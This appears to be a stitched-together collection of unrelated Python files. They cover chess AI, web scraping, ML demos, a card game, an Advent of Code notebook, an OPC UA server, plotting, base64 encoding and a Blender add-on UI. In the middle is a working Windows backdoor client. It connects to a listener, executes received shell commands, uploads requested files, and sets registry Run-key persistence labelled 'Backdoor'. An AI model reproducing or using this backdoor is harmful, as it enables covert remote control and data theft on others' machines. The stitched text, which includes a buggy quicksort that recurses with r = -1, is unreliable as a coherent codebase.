        board_state = np.array(clean_fen(bs)) ### return
        game_board_states.append(board_state)
        board.push_san(game[i])

    white_wins = []
    i = 0
    while i < len(game_board_states):
        try:
            white_wins.append((get_bitwise(game_board_states[i]).astype(int), get_bitwise(game_board_states[i + 1]).astype(int)))
            i += 2
        except:
            break
    return(white_wins)

#####################################################################################

def get_board_state_string(move_list):
    game = move_list
    board = chess.Board()

    board_states = []
    for move in game:
        try:
            board_states.append(board.board_fen())
            board.push_san(move)
        except:
            continue
    return(board_states)

#####################################################################################

def get_white_lose_bs(game):
    '''
    Gets pairs of 'before-and-after' boardstates where black is making the move

    Input: List of game moves
    Output: List of before and after boardstates for black, where black wins
    '''

    board = chess.Board()

    board_state = None
    game_board_states = []

    for i in range(len(game)):
        bs = board.board_fen() ### creates current board state, in FEN "rnbqkbnr/pppppppp....
        board_state = np.array(clean_fen(bs)) ### return
        game_board_states.append(board_state)
        board.push_san(game[i])

    white_losses = []
    i = 1
    while i < len(game_board_states):
        try:
            white_losses.append((get_bitwise(game_board_states[i]).astype(int), get_bitwise(game_board_states[i + 1]).astype(int)))
            i += 2
        except:
            break
    return(white_losses)

#####################################################################################

def get_draw_bs(game):  ### probably wont use it - dont want neutral positions
    '''
    Gets pairs of 'before-and-after' boardstates for both black and white

    Input: List of game moves
    Output: List of before and after boardstates for both black and white
    '''
    board = chess.Board()

    board_state = None
    game_board_states = []

    for i in range(len(game)):
        bs = board.board_fen() ### creates current board state, in FEN "rnbqkbnr/pppppppp....
        arr = np.array(clean_fen(bs))
        game_board_states.append(arr)
        board.push_san(game[i])

    draws = []
    for i in range(len(game_board_states)):
        try:
            draws.append((game_board_states[i], game_board_states[i+1]))
        except:
            break
    return(draws)

#####################################################################################

def get_board_state_array(move_list): ### i from all move_list
    '''
    Gets board states in arrray format

    input: list of moves
    output: board states in array format
    '''

    game = move_list
    board = chess.Board()
    #game = all_san_list[0]

    board_state_list = []

    for move in game:
        try:
            bs = board.board_fen() ### creates current board state, in FEN "rnbqkbnr/pppppppp....
            board_array = np.array(clean_fen(bs)) ### return
            board_state_list.append(board_array)
            board.push_san(move)
        except:
            board_state_list.append(0)
            break
    return(board_state_list)

#####################################################################################

def get_fen_from_bitwise(game):
    """
    Takes an individual board state in the bitwise format (6 arrays with 64 positions), and returns the game in FEN, a notation that python-chess recognizes

    input: 1 board state in bitwise format: a grouping of 6 arrays with 64 positions
    output: 1 FEN string
    """

    game # range(j, 6)
    fena = np.zeros(64, dtype=int) #((r_ray, n_ray, b_ray, q_ray, k_ray, p_ray))
    for j in range(6):             # Iterate through each piece's board state
        for i in range(64):        # Iterate through each position in each board state
            if j == 0:
                fena[i] = game[j][i]
            if j == 1:
                fena[i] += game[j][i] * (j+1)
            if j == 2:
                fena[i] += game[j][i] * (j+1)
            if j == 3:
                fena[i] += game[j][i] * (j+1)
            if j == 4:
                fena[i] += game[j][i] * (j+1)
            if j == 5:
                fena[i] += game[j][i] * (j+1)

    fena = fena.astype(str)

    fena = np.char.replace(fena, '1', 'R')
    fena = np.char.replace(fena, '-R', 'r')

    fena = np.char.replace(fena, '2', 'N')
    fena = np.char.replace(fena, '-N', 'n')

    fena = np.char.replace(fena, '3', 'B')
    fena = np.char.replace(fena, '-B', 'b')

    fena = np.char.replace(fena, '4', 'Q')
    fena = np.char.replace(fena, '-Q', 'q')

    fena = np.char.replace(fena, '5', 'K')
    fena = np.char.replace(fena, '-K', 'k')

    fena = np.char.replace(fena, '6', 'P')
    fena = np.char.replace(fena, '-P', 'p')

    fena = np.char.replace(fena, '0', '1') # Seems wierd, but I need to add up the open spaces somehow....

    fene = list(itertools.chain.from_iterable(fena))

    # Need to break chain at 8 characters
    fene.insert(8 , '/')
    fene.insert(17, '/')
    fene.insert(26, '/')
    fene.insert(35, '/')
    fene.insert(44, '/')
    fene.insert(53, '/')
    fene.insert(62, '/')

    # Replacing consecutive empty spaces with the product
    fene = ''.join(fene)
    fene = fene.replace('1' * 8, '8')
    fene = fene.replace('1' * 7, '7')
    fene = fene.replace('1' * 6, '6')
    fene = fene.replace('1' * 5, '5')
    fene = fene.replace('1' * 4, '4')
    fene = fene.replace('1' * 3, '3')
    fene = fene.replace('1' * 2, '2')
    fene = fene.replace('1' * 1, '1')
    return(fene)

#####################################################################################
#####################################################################################

     ######################################
     ### RUN AI AND PLAY GAME FUNCTIONS ###
     ######################################

# List OF RUN AI AND PLAY GAME FUNCTIONS:
    # run_AI

#####################################################################################

def run_AI(board, turn):
    """
    Plays the game as the AI, given the turn and current board

    input: board (in python-chess format)
    output: the best move in uci format

    """

    legal_boards = []
    l = []

    boardfen = board.fen()
    for move in [str(i) for i in list(board.legal_moves)]:
        current_board = chess.Board(boardfen)

        future_move = chess.Move.from_uci(str(move))
        current_board.push(future_move)
        current_board = str(current_board)
        current_board = current_board.replace('\n', ' ')
        current_board = current_board.replace('.', '1')
        current_board = current_board.split(' ')
        legal_boards.append((future_move, get_bitwise(current_board)))

    pred_df = pd.DataFrame(legal_boards, columns = ['move', 'bitwise'])
    pred_df['rook'] = [ pred_df['bitwise'][i][0] for i in range(len(pred_df)) ]
    pred_df['night'] = [ pred_df['bitwise'][i][1] for i in range(len(pred_df)) ]
    pred_df['bishop'] = [ pred_df['bitwise'][i][2] for i in range(len(pred_df)) ]
    pred_df['queen'] = [ pred_df['bitwise'][i][3] for i in range(len(pred_df)) ]
    pred_df['king'] = [ pred_df['bitwise'][i][4] for i in range(len(pred_df)) ]
    pred_df['pawn'] = [ pred_df['bitwise'][i][5] for i in range(len(pred_df)) ]
    pred_df = pred_df.drop('bitwise', axis=1)

    ### Need column names for expanded df
    rook_cols = []
    for i in range(64):
        rook_cols.append('rook_'+ str(i))
    night_cols = []
    for i in range(64):
        night_cols.append('night_'+ str(i))
    bishop_cols = []
    for i in range(64):
        bishop_cols.append('bishop_'+ str(i))
    queen_cols = []
    for i in range(64):
        queen_cols.append('queen_'+ str(i))
    king_cols = []
    for i in range(64):
        king_cols.append('king_'+ str(i))
    pawn_cols = []
    for i in range(64):
        pawn_cols.append('pawn_'+ str(i))

    ### Expanding individual board state dfs

    dfr = pd.DataFrame(pred_df['rook'].values.tolist(), columns = rook_cols)
    dfn = pd.DataFrame(pred_df['night'].values.tolist(), columns = night_cols)
    dfb = pd.DataFrame(pred_df['bishop'].values.tolist(), columns = bishop_cols)
    dfq = pd.DataFrame(pred_df['queen'].values.tolist(), columns = queen_cols)
    dfk = pd.DataFrame(pred_df['king'].values.tolist(), columns = king_cols)
    dfp = pd.DataFrame(pred_df['pawn'].values.tolist(), columns = pawn_cols)

    ### Encoding current turn into a seperate turn_df

    placeholder = pd.Series([i for i in range(len(pred_df))])
    turn_df= pd.DataFrame(placeholder, index= range(len(pred_df)), columns=['white_turn'])
    if turn % 2 == False:
        ones = [1 for i in range(len(pred_df))]
        turn_df['white_turn'] = ones
    else:
        zeros = [0 for i in range(len(pred_df))]
        turn_df['white_turn'] = zeros

    ### Merging dfs

    df_merged = turn_df
    df_merged = pd.merge(df_merged, dfr, how='outer', right_index=True, left_index=True)
    df_merged = pd.merge(df_merged, dfn, how='outer', right_index=True, left_index=True)
    df_merged = pd.merge(df_merged, dfb, how='outer', right_index=True, left_index=True)
    df_merged = pd.merge(df_merged, dfq, how='outer', right_index=True, left_index=True)
    df_merged = pd.merge(df_merged, dfk, how='outer', right_index=True, left_index=True)
    df_merged = pd.merge(df_merged, dfp, how='outer', right_index=True, left_index=True)

    ### Running the model over the possible moves and selecting the best move availible

    move_and_score = []
    best_move = ('NaN', -100)

    for i in range(len(legal_boards)):
        m_and_s = (str(legal_boards[i][0]), np.asscalar(model.predict(df_merged)[i][0]))
        move_and_score.append(m_and_s)
        if m_and_s[1] > best_move[1]:
            best_move = m_and_s

    current_board = board
    return(best_move)


import requests
from bs4 import BeautifulSoup
from plugins.Craw_baidu import getxml
import time
import xlwt
import os

class Baidu(object):
	# 参考：https://www.jianshu.com/p/b9068070785a
	# 当前时间
	t = time.strftime('%Y%m%d%H%M%S', time.localtime(time.time()))
	# 构建CRID
	CRID = 'CRA' + t
	# path = getxml.rxi.getpropertypath()
	# propertypath = path + '/baidujs.xls'

	def __init__(self, filepath=None):
		# 初始网页
		self.start_url = 'https://news.baidu.com/widget?id=InternationalMil&channel=mil'
		self.t = time.strftime('%Y%m%d%H%M%S', time.localtime(time.time()))
		# 构建CRID
		self.CRID = 'CRA' + self.t
		self.num = 0
		self.filepath = filepath
		self.configfilePath = os.getcwd() + '/' + 'plugins/' + 'Craw_baidu' + '/' + 'Craw_baidu' + '.xml'
		self.xml = getxml.read_xml_info(self.configfilePath)
		if self.filepath is None:
			self.filepath = self.xml.getfilepath()
		# 定义保存Excel的位置
		self.workbook = xlwt.Workbook()
		self.sheet = self.workbook.add_sheet('百度军事')
		# 设置Excel表头
		# head = ['标题', '发布者', 'CRID', 'DOCID', '内容', 'url']
		head = ['标志', '序号', '题名', '作者', '单位', '关键字', '摘要', '来源', '发表时间', '下载地址', '后缀']
		for h in range(len(head)):
			self.sheet.write(0, h, head[h])  # 把表头写到Excel里面去

	# 获取每条新闻的url
	def geturls(self):
		html = requests.get(self.start_url).text
		soup = BeautifulSoup(html, 'html.parser')
		url_list = []
		for i in soup.find_all('a'):
			ul = i.get('href')
			url_list.append(ul)
		return url_list

	# 获取页面具体信息
	def getdetail(self, news_url):
		print(news_url)
		response = requests.get(news_url)
		html = response.text
		bf = BeautifulSoup(html, 'html.parser')
		# print("开始爬取。。。。。。。。。。。。")
		# url
		self.newsurl = news_url
		# print("url:"+self.newsurl)

		# 标题
		# self.title = bf.select("#detail-page > div.title_border > div > div.article-title > h2")[0].get_text()
		try:
			self.title = bf.select("#detail-page > div.title_border > div > div.article-title > h2")[0].get_text()
		except:
			# self.title = 'hhh'
			pass
		# print("title:"+self.title)

		# 发布者
		try:
			self.poster = bf.select(
				"#detail-page > div.title_border > div > div.article-desc.clearfix > div.author-txt > p")[0].get_text()
			# print("poster:"+self.poster)
		except:
			self.poster = 'hhhhhh'
			pass

		# 时间
		try:
			self.time1 = bf.select(
				"#detail-page > div.title_border > div > div.article-desc.clearfix > div.author-txt > div > span.date")[0].\
				get_text()
			self.time = str(time.localtime().tm_year)+'-'+self.time1.strip("发布时间：")
		except:
			pass

		# 内容
		self.content_list = []
		content = bf.select("#article > div > p > span")
		# print("content:")
		for c in content:
			# print(c.get_text())
			self.content_list.append(c.get_text())
		# print(self.content_list)

		# DOCID
		self.num += 1
		self.DOCID = self.CRID + "%04d" % self.num
		# print("DOCID:"+self.DOCID)
		# print("CRID:"+self.CRID)

		self.write_excel()
		self.write_txt()

	def write_txt(self):
		txtname = self.DOCID + self.title
		txtpath = self.filepath.replace('\\', '/') + "/" + txtname + ".txt"
		# print("写入txt：" + txtpath)
		writetxt = open(txtpath, "w")
		for i in range(len(self.content_list)):
			writetxt.write(self.content_list[i])
		writetxt.close()

		# head = ['标志', '序号', '题名', '作者', '单位', '关键字', '摘要', '来源', '发表时间', '下载地址', '后缀']
	def write_excel(self):
		self.sheet.write(self.num, 0, self.CRID)
		self.sheet.write(self.num, 1, self.DOCID)
		self.sheet.write(self.num, 2, self.DOCID+self.title)
		self.sheet.write(self.num, 3, self.poster)
		self.sheet.write(self.num, 8, self.time)
		self.sheet.write(self.num, 9, self.newsurl)
		self.sheet.write(self.num, 10, 'txt')
	# 	# 追加写入 参考：https://blog.csdn.net/lA6Nf/article/details/79352112?utm_source=blogxgwz6
	# 	rb = xlrd.open_workbook(self.propertypath, formatting_info=True)
	# 	rn = rb.sheets()[0].nrows
	# 	# r = rn
	# 	# print(rn)
	# 	wb = copy(rb)
	# 	st = wb.get_sheet(0)
	# 	self.write_excel(st, rn)
	# 	os.remove(self.propertypath)
	# 	wb.save(self.propertypath)

		# return self.num, self.title

	# 写入excel
	# def write_excel(self, sheet, n):
	# 	sheet.write(n, 0, self.title)
	# 	sheet.write(n, 1, self.poster)
	# 	sheet.write(n, 2, self.CRID)
	# 	sheet.write(n, 3, self.DOCID)
	# 	sheet.write(n, 4, self.content_list)
	# 	sheet.write(n, 5, self.newsurl)

# if __name__ == "__main__":
	# bd = Baidu()
	# urls = []
	# urls = bd.geturls()
	# # c = []
	# for url in urls:
	# 	if int(bd.num) < 10:
	# 		bd.getdetail(url)
	# 	else:
	# 		break
	# 	# print(int(bd.num)+1)
	# 	# bd.getdetail(url)
	# 	# c.append(bd.getdetail(url))
	# # bd.workbook.save('E:/Pythonworkspace/bdjs_crawl/baidujs.xls')
	# # print(c)
	# t = time.strftime('%Y', time.localtime(time.time()))
	# print(time.localtime().tm_year)
	# print()


# The final version of this code is not yet available

from random import randint
import random

status = "user" # Choice between user or admin statues

if status == "admin":
    transform = input("Your topics : ")
else:
    transform = "Animal Bricolage Décoration Education Informatique Loisir"

topics = transform.split(" ")

class Favorite:
    def __init__(self, topics):
        self.topics = topics
        self.nblike = dict.fromkeys(topics,0)
        self.nbDislike = dict.fromkeys(topics, 0)

    def __repr__(self):
        return f"{self.topics}"

    def trier(self):
        n = 5
        while True:
            doit_continuer = False
            i = random.choice(self.topics)
            for search in topics:
                if self.nblike[search] + self.nbDislike[search] < 5:
                    doit_continuer = True
            answer = input(f"{i} | Like or no like : ")
            if answer == "like":
                self.nblike[i] += 1
            elif answer == "no":
                self.nbDislike[i] += 1
            if doit_continuer == False:
                break

        print(f"Like : {self.nblike}")
        print(f"Dislike : {self.nbDislike}")

user = Favorite(topics)


def quicksort(arr,l,r):
    if l < r:
        s = partition(arr,l,r)
        quicksort(arr,l,-1)
        quicksort(arr,s+1,r)

def partition(arr,l,r):
    p = arr[l]
    i, j = l, r
    while i <= j:
        while i <= j and arr[i] <= p:
            i += 1
        while i <= j and arr[j] >= p:
            j -= 1
        if i < j :
            arr[i], arr[j] = arr[j], arr[i]

    arr[l], arr[j] = arr[j], arr[l]
    return j

arr = [4,5,6,1,2,7,10]
quicksort(arr,0,6)

print(arr)


import tensorflow as tf
from keras.datasets import mnist
import numpy as np
import pandas as pd
from loader import Batch

dataset=mnist.load_data()
(X_train,y_train),(X_test,y_test)=dataset

X_train = X_train.reshape(60000,28,28,1)
X_test = X_test.reshape(10000,28,28,1)

from keras.utils import to_categorical
#one-hot encode target column
y_train = to_categorical(y_train)
y_test = to_categorical(y_test)

from keras.models import Sequential
from keras.layers import Dense, Conv2D, Flatten
model = Sequential()
model.add(Conv2D(64, kernel_size=3, activation='relu', input_shape=(28,28,1)))
model.add(Conv2D(32, kernel_size=3, activation='relu'))
model.add(Flatten())
model.add(Dense(10, activation='softmax'))

model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])

model.fit(X_train, y_train, validation_data=(X_test, y_test), epochs=3)

model.predict(X_test[:4])
y_test[:4]
from prep import Preprocessor

from sklearn.ensemble import AdaBoostClassifier
from sklearn.naive_bayes import MultinomialNB
X=[]
y=[]
n=0
with open('trainingdata.txt', 'rt') as training_data:
    n=int(training_data.readline())
    for line in training_data:
        y.append(int(line[0]))
        X.append(line[2:])

from sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer
from sklearn.pipeline import Pipeline
clf=MultinomialNB()
classifier=Pipeline([('vect', CountVectorizer(stop_words='english',max_features=1000)),
                     ('tfidf',TfidfTransformer()),
                     ('clf',AdaBoostClassifier(base_estimator=clf))])
classifier.fit(X,y)
x=[]
for i in range(int(input())):
    x.append(input())

from typing import Tuple, List
from nn_lite import *

from model import Model, DecoderType

def solve(img):
    decoder_type = DecoderType.BestPath
    model = Model(list(open(FilePaths.fn_char_list).read()), decoder_type, must_restore=True)
    return infer(model, img)

def get_img_height() -> int:
    return 32

def get_img_size(line_mode: bool = False) -> Tuple[int, int]:
    if line_mode:
        return 256, get_img_height()
    return 128, get_img_height()

def infer(model, fn_img):
    img = fn_img
    assert img is not None

    preprocessor = Preprocessor(get_img_size(), dynamic_width=True, padding=16)
    img = preprocessor.process_img(img)

    batch = Batch([img], None, 1)
    recognized, probability = model.infer_batch(batch, True)

    return recognized


from main import *

if __name__ == '__main__':
    with torch.profiler.profile(
        schedule=torch.profiler.schedule(wait=1, warmup=1, active=5),
        on_trace_ready=torch.profiler.tensorboard_trace_handler('./log/main_profiler'),
        record_shapes=True
    ) as prof:

        args = argparser.parse_args()
        run_main(args)
        prof.step()

    print(prof.key_averages().table(sort_by="self_cuda_time_total", row_limit=-1), file=open("./log/profiler.txt", "a"))


from Cards import Carte
import random

class Deck:
    def __init__(self):
        self.pioche = []

    def remplir_pioche(self):
        self.pioche = (
            [Carte("Espionne", 0)] * 2 +
            [Carte("Garde", 1)] * 6 +
            [Carte("Prêtre", 2)] * 2 +
            [Carte("Baron", 3)] * 2 +
            [Carte("Servante", 4)] * 2 +
            [Carte("Prince", 5)] * 2 +
            [Carte("Chancelier", 6)] * 2 +
            [Carte("Roi", 7)] +
            [Carte("Comtesse", 8)] +
            [Carte("Princesse", 9)]
        )

    def shuffle(self):
        random.shuffle(self.pioche)

    def piocher(self):
        return self.pioche.pop(0);


# ---
# jupyter:
#   jupytext:
#     formats: ipynb,py:light
#     text_representation:
#       extension: .py
#       format_name: light
#       format_version: '1.5'
#       jupytext_version: 1.14.1
#   kernelspec:
#     display_name: Python 3 (ipykernel)
#     language: python
#     name: python3
# ---

# + [markdown] tags=[]
# # Advent of Code 2022 - Day 7
# -

# ## Part 1

# Load data
file = open('input.txt','r')
lines = file.readlines()
for i in range(len(lines)):
    lines[i] = lines[i].replace('\n', '')

# Create a list with the file system
file_system = []
level = 0
for line in lines:
    if '$ cd' in line and not '..' in line:
        _, _, dir_name = line.split()
        file_system.append([level, 'dir', dir_name])
        level += 1
    elif '$ cd ..' in line:
        level -= 1
    if not '$' in line and not 'dir ' in line:
        file_size, _ = line.split()
        file_system.append([level, 'file', int(file_size)])

def sum_files(file_system, start_index):
    # Sum files in file system contained in folder at start_index
    file_sum = 0
    start_level = file_system[start_index][0]
    for i in range(start_index + 1, len(file_system)):
        level, entry_type, value = file_system[i]
        if level <= start_level:
            break
        elif entry_type == 'file':
            file_sum += value
    return file_sum

# Compute directory sizes
dir_sizes = []
for i, line in enumerate(file_system):
    level, entry_type, value = line
    if entry_type == 'dir':
        dir_sizes.append(sum_files(file_system, i))

# + tags=[]
print('Directory sizes: ' + str(dir_sizes))

# + tags=[] jupyter={"outputs_hidden": true}
print('File system: ')
print('(level, type, name/size)')
for i in file_system:
    print(i)
# -

# Compute sum of sizes of directories with a size under size_limit
size_limit = 100000
size_of_dirs_under_limit = 0
for dir_size in dir_sizes:
    if dir_size <= size_limit:
        size_of_dirs_under_limit += dir_size
print('Sum of sizes of directories under ' + str(size_limit) + ': ' + str(size_of_dirs_under_limit))

# ## Part 2

# Compute how much space that needs to be freed for the update
total_disk_space = 70000000
space_required = 30000000
# The largest file size corresponds to the outermost folder, i.e., the total file size
space_used = max(dir_sizes)
free_space = total_disk_space - space_used
needed_space = space_required - free_space
print('Space needed for update: ' + str(needed_space))

# Find the smallest directory to delete to free up enough space
min_diff = 1e10
size_of_dir_to_delete = 0
for dir_size in dir_sizes:
    if dir_size > needed_space:
        diff = dir_size - needed_space
        if diff < min_diff:
            min_diff = diff
            size_of_dir_to_delete = dir_size
print('The smallest directory that can be deleted to free enough space has size: '
      + str(size_of_dir_to_delete))


import sys
sys.path.insert(0, "..")
import time

from opcua import ua, Server

if __name__ == "__main__":

    # setup our server
    server = Server()
    server.set_endpoint("opc.tcp://0.0.0.0:4840/freeopcua/server/")

    # setup our own namespace, not really necessary but should as spec
    uri = "http://examples.freeopcua.github.io"
    idx = server.register_namespace(uri)

    # get Objects node, this is where we should put our nodes
    objects = server.get_objects_node()

    # populating our address space
    myobj = objects.add_object(idx, "MyObject")
#    myvar = myobj.add_variable(idx, "PV01", False)
#    myvar.set_writable()    # Set MyVariable to be writable by clients
#    myvar = myobj.add_variable(idx, "SPV01O", 0)
#    myvar.set_writable()    # Set MyVariable to be writable by clients
    myvar = myobj.add_variable(idx, "Req_PV01", False )
    myvar.set_writable()    # Set MyVariable to be writable by clients
    myvar = myobj.add_variable(idx, "", 6.7)
    myvar.set_writable()    # Set MyVariable to be writable by clients

    list_var = []
    for x in range(0,1000) :
        myobj.add_variable(idx,"PV0" + str(x), False).set_writable()
        myobj.add_variable(idx,"SPV0" + str(x) +"O", False).set_writable()
        gigio = myobj.add_variable(idx,"MyVar" + str(x) , 1.0)
        gigio.set_writable()
        list_var.append(gigio)

    myvar = myobj.add_variable(idx, "MyVar", 1.0 )

    # starting!
    server.start()

    try:
        count = 1
        myvar.set_value(count)

        while True:
            time.sleep(1)
            count = myvar.get_value()
            count += 0.1
            myvar.set_value(count)
            #for v in list_var:
            #    v.set_value(count)

    finally:
        #close connection, remove subcsriptions, etc
        server.stop()


import socket
import os
import subprocess
import winreg

def sen(sock):
    filename =sock.recv(1024)
    print(filename.decode())
    file = open(filename, 'rb')
    while True:
        chunk = file.read(1024)
        if not chunk:
            break
        sock.sendall(chunk)
    file.close()
def persistance():
    key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Run', 0, winreg.KEY_ALL_ACCESS)
    winreg.SetValueEx(key, 'Backdoor', 0, winreg.REG_SZ, os.path.join(os.getcwd(), 'bc.py'))
    winreg.CloseKey(key)
HOST = '127.0.0.1'
PORT = 6969
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
data = sock.recv(1024)
print(data.decode())
while True:
    cmd = sock.recv(1024).decode()

    if cmd == 'exit':
        break
    elif cmd.startswith('get'):
        sen(sock)
        sock.sendall(b'done')
    elif cmd.startswith('persistance'):
        persistance()
        sock.sendall(b'done')
    elif cmd.startswith('cd'):
        os.chdir(cmd[3:].strip())
        sock.sendall(b'done')
    else:
        output = subprocess.getoutput(cmd)
        sock.sendall(output.encode())


#!/usr/bin/env python3

import pandas as pd
import numpy as np
import scipy.ndimage

import matplotlib.pyplot as plt
import matplotlib.gridspec as gridspec
from matplotlib.ticker import AutoMinorLocator, MaxNLocator

# set stylesheet
# should be present in matplotlib.get_configdir()/stylelib/$name.mplstyle
plt.style.use('base')

# single plot
class Block:

    def __init__(self, gridspec):

        self.gridspec_stuff = gridspec

    def block(self,
            row,
            col,
            data,
            yval="p11",
            x_tickval=False,
            y_tickval=False,
            title="",
            xlab="",
            ylab="",
            zlim=(-1,1),
            cmap="jet",
            label="A",
            label_loc=(0.12,0.25),
            labelcolor="white",
            interpolation="none"):

        global plt

        subdat_y = data[["x1","y2",yval]]

        # make pivot tables
        pivot_y = subdat_y.pivot_table(values=yval, index='y2', columns='x1')

        # make the grid for the levelplot
        xo = pivot_y.columns.values
        yo = pivot_y.index.values
        x, y = np.meshgrid(xo, yo)

        # initialize the plot
        ax = plt.subplot(
                self.gridspec_stuff[row, col]
                )

#        ax.set_xlim((0.01,.99))

        if not x_tickval:
            plt.setp(ax.get_xticklabels(), visible=False)

        if not y_tickval:
            plt.setp(ax.get_yticklabels(), visible=False)

        z = pivot_y.values

        step = float(zlim[1] - zlim[0])/100

        # contourplots of sex ratio
        out_ssr = ax.imshow(z,
                extent=[x.min(), x.max(), y.min(), y.max()],
                origin="lower",
                aspect="auto",
                interpolation=interpolation,
#                np.arange(zlim[0], zlim[1] + step, step),
                cmap=cmap
                )

        # set minor ticks
        minor_locator = AutoMinorLocator(5)
        ax.xaxis.set_major_locator(MaxNLocator(6))
        ax.xaxis.set_minor_locator(minor_locator)

        minor_locator = AutoMinorLocator(5)
        ax.yaxis.set_minor_locator(minor_locator)

        ax.set_xlim(0,1)

        if xlab != "":
            ax.set_xlabel(xlab)

        if ylab != "":
            ax.set_ylabel(ylab)

        # print the title
        if title != "":
            plt.title(title)

        # print the label text
        plt.text(x=label_loc[0],y=label_loc[1], s=label,fontsize=14, ha="center", va="center", color=labelcolor)

        return(out_ssr)


import base64
if __name__=='__main__':
    message="this is python course"
    msg_bytes=message.encode('ascii')
    print('Message bytes: ',msg_bytes)
    base64_bytes=base64.b64encode(msg_bytes)
    print('base64 bytes: ',base64_bytes)
    base64_msg=base64.b64decode(base64_bytes)
    print('base64 msg: ',base64_msg)

# ma hoa nhi phan anh
with open('t3h.jpg','rb') as file:
    binary_file_data=file.read()
    base64_encode_data=base64.b64encode(binary_file_data)
    base64_msg=base64_encode_data.decode('utf-8')
print(base64_msg)

with open('t3h.txt','w') as file2:
    file2.write(base64_msg)

# cach 2
with open('t3h.txt','r') as file:
    data=file.readlines()
#bo cac khoang trang thua hay xuong dong
data=data[0].strip()
print(data)
base64_img_bytes=data.encode('utf-8')
with open('hinh_t3h.jpg','wb')as file3:
    decoded_img_data=base64.decodebytes(base64_img_bytes)
    file3.write(decoded_img_data)


from typing import Optional

import bpy
import numpy as np
from ..sollumz_properties import SollumType, MaterialType
from ..sollumz_ui import SOLLUMZ_PT_OBJECT_PANEL, SOLLUMZ_PT_MAT_PANEL
from . import operators as ycd_ops
from .properties import AnimationTracks
from ..ydr.ui import SOLLUMZ_PT_BONE_PANEL
from ..tools.animationhelper import is_any_sollumz_animation_obj, is_uv_animation_supported

def draw_clip_properties(self, context):
    obj = context.active_object
    if obj and obj.sollum_type == SollumType.CLIP:
        layout = self.layout

        clip_properties = obj.clip_properties
        is_uv = any(a.animation is not None and a.animation.animation_properties.target_id_type == "MATERIAL"
                    for a in clip_properties.animations)
        if is_uv:
            row = layout.row()
            row.prop(clip_properties, "hash")
            row.operator(ycd_ops.SOLLUMZ_OT_clip_recalculate_uv_hash.bl_idname, text="", icon="FILE_REFRESH")
            split = layout.split(factor=0.4)
            split.row()
            row = split.row()
            row.alignment = "RIGHT"
            row.label(text="UV clip hash is calculated based on the target material and model name.     ", icon="INFO")
        else:
            layout.prop(clip_properties, "hash")
        layout.prop(clip_properties, "name")
        layout.prop(clip_properties, "duration")

        layout.operator(ycd_ops.SOLLUMZ_OT_clip_apply_nla.bl_idname,
                        text="Apply Clip to NLA")

animation_target_id_type_to_collection_name = {
    "ARMATURE": "armatures",
    "CAMERA": "cameras",
    "MATERIAL": "materials",
}

animation_target_id_python_type_to_type = {
    bpy.types.Armature: "ARMATURE",
    bpy.types.Camera: "CAMERA",
    bpy.types.Material: "MATERIAL",
}

# https://blender.stackexchange.com/a/293222
def template_animation_target_ID(layout: bpy.types.UILayout, data, property: str, type_property: str,
                                 text: Optional[str] = "", text_ctxt: str = "", translate: bool = True):
    if text is not None:
        split = layout.split(factor=0.4, align=True)
        row = split.row()
        row.alignment = "RIGHT"
        if text != "":
            # ` + "  "` is a hack to make the text better aligned with previous prop()'s
            row.label(text=text + "  ", text_ctxt=text_ctxt, translate=translate)
        elif data.bl_rna.properties[property].name != "":
            row.label(text=data.bl_rna.properties[property].name + "  ", text_ctxt=text_ctxt, translate=translate)
        else:
            row.label(text="ID-Block:")
        row = split.row(align=True)
    else:
        row = layout.row(align=True)
    row.use_property_decorate = False
    row.prop(data, type_property, icon_only=True)
    row.use_property_decorate = True

    type_name = getattr(data, type_property)
    if type_name in animation_target_id_type_to_collection_name:
        data_prop = getattr(data, property)
        data_prop_type_name = animation_target_id_python_type_to_type.get(type(data_prop), None)
        if data_prop_type_name is None:
            icon = "NONE"
        else:
            icon = data.bl_rna.properties[type_property].enum_items[data_prop_type_name].icon
        row.prop_search(data, property, bpy.data, animation_target_id_type_to_collection_name[type_name],
                        text="", icon=icon)

def draw_animation_properties(self, context):
    obj = context.active_object
    if obj and obj.sollum_type == SollumType.ANIMATION:
        layout = self.layout

        animation_properties = obj.animation_properties

        layout.prop(animation_properties, "hash")
        layout.prop(animation_properties, "action")
        template_animation_target_ID(layout, animation_properties, "target_id", "target_id_type")

def draw_range_properties(layout, obj, prop_start, prop_end, label):
    """Draw two properties in a row aligned to each other, with label on the left."""
    split = layout.split(factor=0.4, align=True)
    label_row = split.row()
    label_row.alignment = 'RIGHT'
    label_row.label(text=label)
    value_row = split.row(align=True)
    value_row.use_property_split = False
    value_row.prop(obj, prop_start, text="Start")
    value_row.prop(obj, prop_end, text="End")

def draw_item_box_header(
        layout, obj, label, delete_op_cls,
        show_expanded_prop="ui_show_expanded",
        visible_prop=None,
        color_prop=None
):
    """
    Draw a box header with a 'expand' button, label, optional visibility toggle, optional color picker
    and 'delete' button.
    Returns the delete operator properties to fill in.
    """
    header = layout.row(align=True)
    is_expanded = getattr(obj, show_expanded_prop)
    expanded_icon = "DISCLOSURE_TRI_DOWN" if is_expanded else "DISCLOSURE_TRI_RIGHT"
    header.prop(obj, show_expanded_prop, text="", emboss=False, icon=expanded_icon)
    if label:
        header.label(text=label)
    else:
        header.label(text="Not Set")

    if visible_prop is not None:
        is_visible = getattr(obj, visible_prop)
        visible_icon = "HIDE_OFF" if is_visible else "HIDE_ON"
        header.prop(obj, visible_prop, text="", emboss=False, icon=visible_icon)

    if color_prop is not None:
        row = header.row()
        row.scale_x = 0.35  # make the color picker smaller
        row.prop(obj, color_prop, text="")

    delete_op = header.operator(delete_op_cls.bl_idname,
                                text="", emboss=False, icon="X")
    return delete_op

def draw_clip_attribute(layout, attr, delete_op_cls):
    split = layout.split(factor=0.6)
    split.use_property_split = False
    split.use_property_decorate = False
    left_row = split.row(align=True)
    left_row.prop(attr, "name", text="")
    left_row.prop(attr, "type", text="")
    right_row = split.row()
    if attr.type == "Float":
        right_row.prop(attr, "value_float", text="")
    elif attr.type == "Int":
        right_row.prop(attr, "value_int", text="")
    elif attr.type == "Bool":
        bool_str = "Yes" if attr.value_bool else "No"
        right_row.row().prop(attr, "value_bool", text=bool_str, toggle=True)
    elif attr.type == "Vector3":
        right_row.prop(attr, "value_vec3", text="")
    elif attr.type == "Vector4":
        right_row.prop(attr, "value_vec4", text="")
    elif attr.type == "String":
